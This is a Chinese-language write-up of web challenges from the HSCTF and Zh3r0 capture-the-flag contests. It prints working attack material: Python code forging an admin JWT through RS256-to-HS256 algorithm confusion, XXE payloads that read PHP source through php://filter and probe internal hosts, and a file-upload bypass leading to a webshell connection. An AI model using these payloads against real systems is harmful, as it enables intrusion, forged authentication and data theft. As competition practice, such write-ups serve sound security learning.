HSCTF
全称是 high school catch the flag
web
Debt Simulator
这题不知道要做什么,当然也不知道该怎么做 问问其他人有没有想法
nice 做出来了
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png" />
<link rel="manifest" href="/site.webmanifest" />
<link href="https://fonts.googleapis.com/css2?family=Merriweather&family=Raleway:wght@800&display=swap" rel="stylesheet" />
<title>Debt :))</title>
<link href="/static/css/main.6279183e.chunk.css" rel="stylesheet" />
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
<script>!function(e){function t(t){for(var n,l,i=t[0],a=t[1],f=t[2],c=0,s=[];c<i.length;c++)l=i[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(p&&p(t);s.length;)s.shift()();return u.push.apply(u,f||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,i=1;i<r.length;i++){var a=r[i];0!==o[a]&&(n=!1)}n&&(u.splice(t--,1),e=l(l.s=r[0]))}return e}var n={},o={1:0},u=[];function l(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,l),r.l=!0,r.exports}l.m=e,l.c=n,l.d=function(e,t,r){l.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},l.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,t){if(1&t&&(e=l(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(l.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)l.d(r,n,function(t){return e[t]}.bind(null,n));return r},l.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(t,"a",t),t},l.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},l.p="/";var i=this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[],a=i.push.bind(i);i.push=t,i=i.slice();for(var f=0;f<i.length;f++)t(i[f]);var p=a;r()}([])</script>
<script src="/static/js/2.f3855285.chunk.js"></script>
<script src="/static/js/main.1b8f0187.chunk.js"></script>
</body>
</html>
参考:
查看SOURCE:
app.js
import React, { useState, useEffect } from 'react';
import Header from "./Header";
import Main from './Main';
import Message from './Message';
import Button from "./Button";
import "./App.css";
function App() {
const [message, setMessage] = useState("Ready to Play?");
const [runningTotal, setRunningTotal] = useState(0);
const [buttonText, setButtonText] = useState("Start Game");
useEffect(() => {
if (runningTotal < -1000) {
setMessage("You lost. You have less than $-1000. Better luck next time.");
setButtonText("Play Again");
} else if (runningTotal > 2000) {
setMessage("You won. You have more than $2000. Try your luck again?");
setButtonText("Play Again");
} else if (runningTotal !== 0 && buttonText !== "Next Round") {
setButtonText("Next Round");
}
});
const onClick = () => {
const isGetCost = Math.random() > 0.4 ? true : false;
const func = isGetCost ? 'getCost' : 'getPay';
const requestOptions = {
method: 'POST',
body: 'function=' + func,
headers: { 'Content-type': 'application/x-www-form-urlencoded' }
}
fetch("https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001", requestOptions)
.then(res => res.json())
.then(data => {
data = data.response;
if (buttonText === "Play Again" || buttonText === "Start Game") {
setButtonText("Next Round");
setRunningTotal(0);
}
setMessage("You have " + (isGetCost ? "paid me " : "received ") + "$" + data + ".");
setRunningTotal(runningTotal => isGetCost ? runningTotal - data : runningTotal + data);
});
}
return <div className="App">
<Header />
<Message message={message}/>
<Main content={runningTotal}/>
<Button onClick={onClick} text={buttonText}/>
</div>;
}
export default App;
继续访问https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]}
存在三个function
根据app.js和"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]
以POST方式传function=getgetgetgetgetgetgetgetgetFlag
NICE 得到flag
Broken Tokens
参考连接:
https://www.jianshu.com/p/44d88abb9515
源代码阅读
import jwt
import base64
import os
import hashlib # hash的库?
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG") #该方法,用于获取全局变量。
PASSWORD = os.getenv("PASSWORD")
# 读取私钥和密钥
with open("privatekey.pem", "r") as f:
PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == "POST":
resp = make_response(redirect("/")) # redirect 跳转 make_response 响应
if request.form["action"] == "Login":
if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
else:
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
resp.set_cookie("auth", auth)
else:
resp.delete_cookie("auth")
# 所以必须是POST,才能拿到JWT
return resp
else:
auth = request.cookies.get("auth")
if auth is None: # cookie为空的情况下,logged_in 和 admin 为false
logged_in = False
admin = False
else:
logged_in = True
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
resp = make_response(
render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
)
return resp
# 这个路由器用来下载 publickey.pem
@app.route("/publickey.pem")
def public_key():
with open("./publickey.pem", "r") as f:
resp = make_response(f.read())
resp.mimetype = 'text/plain'
return resp
if __name__ == "__main__":
app.run()
突破点
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
基本理解 用PUBLIC_KEY
去解JWT,而不是 PRIVATE_KEY
,同时admin 之后的取值域为true,false
,所以完全可以用公钥来加密得到 JWT
JWT 常见考点之一,xz上前辈有整理
>>> a = 1
>>> b = 2
>>> c = a == b
>>> c
False
- 首先获取
JWT
auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw
晚上的网速太感人了,jwt.io开vpn还这么慢
- 公钥
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtnREuAwK7M/jWZdSVNfN
4m+kX0rqakI6KIR/qzT/Fv7hfC5vg9UJgEaAGOfexmoDMBYTLRSHnQ9EYjF6bkCh
w+NVQCqsvy9psZVnjUHQ6QfVUdyrUcsOuRoMMaEBYp+qCegDY5Vp65Wzk05qXfvK
LJK9apOo0pPgD7fdOhpqwzejxgWxUgYvMqkGQS2aCC51ePvC6edkStNxovoDFvXk
uG69/7jEqs2k2pk5mI66MR+2U46ub8hPUk7WA6zTGHhIMuxny+7ivxYIXCqEbZGV
YhOuubXfAPrVN2UpL4YBvtfmHZMmjp2j39PEqxXU70kTk96xq3WhnYm46HhciyIz
zQIDAQAB
-----END PUBLIC KEY-----
在线网站: https://www.ssleye.com/pub_asysi.html
得
环境问题?
import jwt
import base64
import os
from flask import Flask, render_template, make_response, request, redirect
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()
auth = jwt.encode({"auth": "admin"}, PUBLIC_KEY, algorithm="HS256")
print(auth)
ERROR:
The specified key is an asymmetric key or x509 certificate and’
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secretRESOLVE:
https://www.anquanke.com/post/id/145540
我的方法是:
直接将这句删了
import jwt
import base64
import os
from flask import Flask, render_template, make_response, request, redirect
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()
auth = jwt.encode({"auth": "admin"}, PUBLIC_KEY, algorithm="HS256")
print(auth)
#auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4
Very Safe Login
看源代码就行
Traffic Lights W
感觉是xxe
emmm 就是xxe
1001 中的XML文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<content>Red</content>
</root>
- test
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ENTITY content 'hava a xxe'>
]>
<root>
<content>&content;</content>
</root>
firmware_upload.php
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/read=convert.base64-encode/resource=firmware_upload.php">
]>
<root>
<content>&content;</content>
</root>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Firmware Upload</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk" crossorigin="anonymous">
<link href="dashboard.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-dark sticky-top bg-dark flex-md-nowrap p-0">
<a class="navbar-brand col-md-3 col-lg-2 mr-0 px-3" href="/">Shady Traffic Light Company</a>
</nav>
<div class="container">
<div class="h-100 d-flex justify-content-center align-items-center border-bottom">
<div>
<br><br><br>
<?php
if(isset($_GET["light"])) {
$light = $_GET["light"];
if ($light === "1001") {
echo "<h1 class='h2'>{$light}</h1>";
echo '<form action="/firmware_upload.php" method="GET"> <div class="form-group"> <label for="xml">Upload your XML firmware.<br>Example: <a href="example"><code>example</code></a></label> <textarea class="form-control" id="xml" name="xml" rows="8"></textarea><br><button type="submit" class="btn btn-primary btn-block">Submit</button></div> </form>';
}
else if ($light === "1004") {
echo "<h1 class='h2'>{$light}</h1>";
echo "<h1 class=\"h2\">Error: High CPU Usage</h1>";
}
else {
echo "<h1 class=\"h2\">Error: Not active</h1>";
}
}
?>
<?php
if (isset($_GET["xml"])) {
libxml_disable_entity_loader (false);
$xml = strlen($_GET["xml"]) > 0 ? $_GET["xml"] : "Firmware Update Failed";
$document = new DOMDocument();
$document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$parsed = simplexml_import_dom($document);
echo $parsed->content;
}
?>
</div>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js" integrity="sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI" crossorigin="anonymous"></script>
</body>
</html>
但是谁能告诉我flag地址
作者说不是在那台VPS上
行吧 😛
根据TABEL进行内网探测
host | 状态 |
---|---|
traffic-light-1001 | fales |
traffic-light-1004 | true |
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "http://traffic-light-1004">
]>
<root>
<content>&content;</content>
</root>
Zh3r0
web
Tokens
Descriptions:
The flag was sent by Mr.4N0NYM4U5 to my victim. But i dont have the username and password of the victim to login into the discord account. The only thing i have is a god damn token. Can you help me to get the flag. Ill give you the token and it is all you need. Token : NzIyMzM1MTQ5NDA0MTkyODIw.Xuhmgw.SZfbikLok4FRqbHQY4L3htLcTaU
Author : Mr.4N0NYM4U5
NzIyMzM1MTQ5NDA0MTkyODIw.Xuhmgw.SZfbikLok4FRqbHQY4L3htLcTaU
get the token
参考连接:
https://www.youtube.com/watch?v=xuB1WQVM3R8
https://www.youtube.com/watch?v=vVEUG5JZgO8
按着视频来就行。
Google Source code
Descriptions:
Chall Link : http://web.zh3r0.ml:7777/
you dont get anything free except the source code. Try to search it and also I never liked to upload my homework in google classroom. Help me hack this website please 🙂Author : Finch
- your work
https://www.youtube.com/watch?v=oHg5SJYRHA0
- classroom
https://classroom.google.com/
http://web.zh3r0.ml:7777/robots.txt
这是扫描路径的结果,就一个
DUMB: this is not a good place the flag is the flag :P
hint
后来仔细研究了一下hint,觉得应该是get请求page页面
如:http://web.zh3r0.ml:7777/?page=10000
之后bp抓包,开始爆破page页数。慢慢等吧,网速太卡了
不好意思,鄙人傻逼了。。。。。
http://web.zh3r0.ml:7777/?page=flag
page = flag
得到提示upload 视频内容好像是黑镜 上传预告片
page = upload
上传的时候,发现会定期删除文件,直接fuzz就行
蚁剑连接
![批注 2020-06-17 185024](http://img.xzaslxr.xyz/img/批注 2020-06-17 185024.jpg)
我让队友找才找到的(自己非酋注定),这问价夹我吐了
吐槽一句,找flag弄得这么复杂。。。有意义吗
还有队友别抢flag了 555
Afterword
下一步计划刷hackthebox、整理内网渗透和工具使用手册。